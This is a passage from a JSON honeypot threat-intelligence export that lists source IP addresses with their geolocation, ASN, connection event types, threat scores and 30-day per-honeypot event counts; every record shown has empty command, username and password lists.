      "reputation_metrics": {
        "total_events_30d": 66,
        "days_active_30d": 30,
        "ports_targeted_30d": 20,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T01:42:08+00:00",
        "last_seen_30d": "2026-05-31T07:31:20.058000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 45,
        "Honeytrap": 14,
        "Cowrie": 4,
        "Honeyaml": 2,
        "Dionaea": 1
      }
    },
    "200.59.190.181": {
      "attack_count": 4,
      "first_seen": "2026-05-12T04:13:29.869Z",
      "last_seen": "2026-05-12T04:15:34.231Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Trujillo",
      "asn": 264778,
      "as_org": "TotalCom Venezuela C.A.",
      "threat_score": 8.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T04:13:29.869000+00:00",
        "last_seen_30d": "2026-05-12T04:17:02.643000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "41.122.84.95": {
      "attack_count": 4,
      "first_seen": "2026-05-11T17:18:27.557Z",
      "last_seen": "2026-05-11T17:20:46.350Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": null,
      "asn": 12091,
      "as_org": "MTNNS-1",
      "threat_score": 7.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T17:18:27.557000+00:00",
        "last_seen_30d": "2026-05-11T17:22:25.373000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 4
      }
    },
    "54.89.192.82": {
      "attack_count": 4,
      "first_seen": "2026-05-26T00:59:41.076Z",
      "last_seen": "2026-05-26T00:59:45.857Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 49.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.8,
        "persistence": 18.3,
        "diversity": 8,
        "spread": 20,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 22,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-05T01:02:47.169000+00:00",
        "last_seen_30d": "2026-05-26T01:00:54.074000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10,
        "Ciscoasa": 4,
        "Cowrie": 4,
        "Honeytrap": 1
      }
    },
    "65.49.1.74": {
      "attack_count": 4,
      "first_seen": "2026-05-06T13:34:49.256Z",
      "last_seen": "2026-05-06T13:34:53.257Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 72.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.6,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 27,
        "ports_targeted_30d": 18,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-03T11:19:03.547000+00:00",
        "last_seen_30d": "2026-05-29T12:04:08.121000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 22,
        "Cowrie": 4,
        "Honeytrap": 2,
        "Miniprint": 1
      }
    },
    "103.225.59.223": {
      "attack_count": 2,
      "first_seen": "2026-05-03T14:41:24.673Z",
      "last_seen": "2026-05-03T14:41:37.609Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Patna",
      "asn": 58762,
      "as_org": "Candor infosolution Pvt Ltd",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T14:41:24.673000+00:00",
        "last_seen_30d": "2026-05-03T14:42:39.036000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "105.225.6.110": {
      "attack_count": 2,
      "first_seen": "2026-05-23T11:32:16.446Z",
      "last_seen": "2026-05-23T11:32:40.713Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Cape Town",
      "asn": 37457,
      "as_org": "Telkom-Internet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T11:32:16.446000+00:00",
        "last_seen_30d": "2026-05-23T11:33:41.230000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "106.221.105.216": {
      "attack_count": 2,
      "first_seen": "2026-05-04T04:08:37.678Z",
      "last_seen": "2026-05-04T04:08:50.396Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Chandigarh",
      "asn": 45609,
      "as_org": "Bharti Airtel Ltd. AS for GPRS Service",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T04:08:37.678000+00:00",
        "last_seen_30d": "2026-05-04T04:09:56.595000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "106.40.80.58": {
      "attack_count": 2,
      "first_seen": "2026-05-22T19:30:27.881Z",
      "last_seen": "2026-05-22T19:30:40.175Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T19:30:27.881000+00:00",
        "last_seen_30d": "2026-05-22T19:31:40.826000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "106.43.103.107": {
      "attack_count": 2,
      "first_seen": "2026-05-23T06:31:26.885Z",
      "last_seen": "2026-05-23T06:31:40.146Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T06:31:26.885000+00:00",
        "last_seen_30d": "2026-05-23T06:32:42.320000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "111.72.131.210": {
      "attack_count": 2,
      "first_seen": "2026-05-22T11:09:28.185Z",
      "last_seen": "2026-05-22T11:09:40.389Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shenzhen",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T11:09:28.185000+00:00",
        "last_seen_30d": "2026-05-22T11:10:42.655000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "121.139.245.144": {
      "attack_count": 2,
      "first_seen": "2026-05-05T23:04:40.482Z",
      "last_seen": "2026-05-05T23:04:53.684Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Anyang-si",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T23:04:40.482000+00:00",
        "last_seen_30d": "2026-05-05T23:05:56.502000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "121.147.22.5": {
      "attack_count": 2,
      "first_seen": "2026-05-24T12:24:28.100Z",
      "last_seen": "2026-05-24T12:24:58.818Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gokseong-gun",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T12:24:28.100000+00:00",
        "last_seen_30d": "2026-05-24T12:26:08.830000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "122.235.143.49": {
      "attack_count": 2,
      "first_seen": "2026-05-29T04:22:06.744Z",
      "last_seen": "2026-05-29T04:22:19.834Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T04:22:06.744000+00:00",
        "last_seen_30d": "2026-05-29T04:23:24.069000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "122.245.13.197": {
      "attack_count": 2,
      "first_seen": "2026-05-03T13:21:00.411Z",
      "last_seen": "2026-05-03T13:21:13.031Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Ningbo",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T13:21:00.411000+00:00",
        "last_seen_30d": "2026-05-03T13:22:13.723000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "14.212.192.44": {
      "attack_count": 2,
      "first_seen": "2026-05-11T10:01:52.064Z",
      "last_seen": "2026-05-11T10:02:05.227Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Foshan",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T10:01:52.064000+00:00",
        "last_seen_30d": "2026-05-11T10:03:08.489000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "140.213.190.86": {
      "attack_count": 2,
      "first_seen": "2026-05-04T12:41:47.063Z",
      "last_seen": "2026-05-04T12:43:47.064Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 139994,
      "as_org": "PT XL Axiata Tbk",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T12:41:47.063000+00:00",
        "last_seen_30d": "2026-05-04T12:54:40.121000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "154.159.252.225": {
      "attack_count": 2,
      "first_seen": "2026-05-10T04:32:10.942Z",
      "last_seen": "2026-05-10T04:32:23.175Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Kenya",
      "country_code": "KE",
      "city": "Nairobi",
      "asn": 36926,
      "as_org": "CKL1-ASN",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T04:32:10.942000+00:00",
        "last_seen_30d": "2026-05-10T04:33:30.642000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "157.48.104.5": {
      "attack_count": 2,
      "first_seen": "2026-05-16T07:46:11.589Z",
      "last_seen": "2026-05-16T07:46:30.641Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Jaipur",
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T07:46:11.589000+00:00",
        "last_seen_30d": "2026-05-16T07:47:45.469000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "169.224.4.183": {
      "attack_count": 2,
      "first_seen": "2026-05-12T08:20:07.768Z",
      "last_seen": "2026-05-12T08:20:22.825Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": "Baghdad",
      "asn": 199739,
      "as_org": "Earthlink Telecommunications Equipment Trading & Services DMCC",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T08:20:07.768000+00:00",
        "last_seen_30d": "2026-05-12T08:22:15.291000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "170.83.116.8": {
      "attack_count": 2,
      "first_seen": "2026-05-24T20:32:43.501Z",
      "last_seen": "2026-05-24T20:34:43.503Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Honduras",
      "country_code": "HN",
      "city": "San Pedro Sula",
      "asn": 271971,
      "as_org": "CABLE SATELITE S.DE R.L. DE C.V.",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T20:32:43.501000+00:00",
        "last_seen_30d": "2026-05-24T20:35:46.702000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "170.83.116.84": {
      "attack_count": 2,
      "first_seen": "2026-05-24T20:38:53.689Z",
      "last_seen": "2026-05-24T20:40:53.691Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Honduras",
      "country_code": "HN",
      "city": "San Pedro Sula",
      "asn": 271971,
      "as_org": "CABLE SATELITE S.DE R.L. DE C.V.",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T20:38:53.689000+00:00",
        "last_seen_30d": "2026-05-24T20:41:55.959000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.124.23.251": {
      "attack_count": 2,
      "first_seen": "2026-05-21T19:24:13.359Z",
      "last_seen": "2026-05-21T19:24:26.361Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "V\u00e1rzea Paulista",
      "asn": 52612,
      "as_org": "Alt Informatica Ltda",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T19:24:13.359000+00:00",
        "last_seen_30d": "2026-05-21T19:25:34.022000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.232.87.226": {
      "attack_count": 2,
      "first_seen": "2026-05-24T04:30:13.008Z",
      "last_seen": "2026-05-24T04:32:13.008Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Quer\u00e9taro City",
      "asn": 28536,
      "as_org": "Mexico Red de Telecomunicaciones, S. de R.L. de C.V.",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T04:30:13.008000+00:00",
        "last_seen_30d": "2026-05-24T04:33:16.760000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "178.128.204.108": {
      "attack_count": 2,
      "first_seen": "2026-05-17T12:07:35.937Z",
      "last_seen": "2026-05-17T12:07:35.939Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 65.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.0,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 157,
        "days_active_30d": 22,
        "ports_targeted_30d": 15,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-03T03:40:04+00:00",
        "last_seen_30d": "2026-05-24T00:22:35.776000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 120,
        "Honeytrap": 31,
        "Cowrie": 2,
        "Mailoney": 2,
        "H0neytr4p": 1,
        "Ipphoney": 1
      }
    },
    "179.96.190.108": {
      "attack_count": 2,
      "first_seen": "2026-05-10T06:38:55.036Z",
      "last_seen": "2026-05-10T06:39:26.459Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Nossa Senhora da Gl\u00f3ria",
      "asn": 52711,
      "as_org": "FASTNET TELECOM",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T06:38:55.036000+00:00",
        "last_seen_30d": "2026-05-10T06:40:33.697000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "186.167.81.109": {
      "attack_count": 2,
      "first_seen": "2026-05-04T02:07:35.104Z",
      "last_seen": "2026-05-04T02:08:00.641Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27717,
      "as_org": "Corporacion Digitel C.A.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T02:07:35.104000+00:00",
        "last_seen_30d": "2026-05-04T02:09:01.882000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "186.233.118.22": {
      "attack_count": 2,
      "first_seen": "2026-05-15T07:40:42.470Z",
      "last_seen": "2026-05-15T07:40:42.473Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Rio de Janeiro",
      "asn": 266181,
      "as_org": "GOLDEN LINK",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T07:40:42.470000+00:00",
        "last_seen_30d": "2026-05-15T07:41:45.017000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "187.112.35.83": {
      "attack_count": 2,
      "first_seen": "2026-05-06T02:25:03.079Z",
      "last_seen": "2026-05-06T02:25:15.349Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Ubatuba",
      "asn": 18881,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T02:25:03.079000+00:00",
        "last_seen_30d": "2026-05-06T02:26:22.967000+00:00",
        "days_since_last_seen": 25
      },
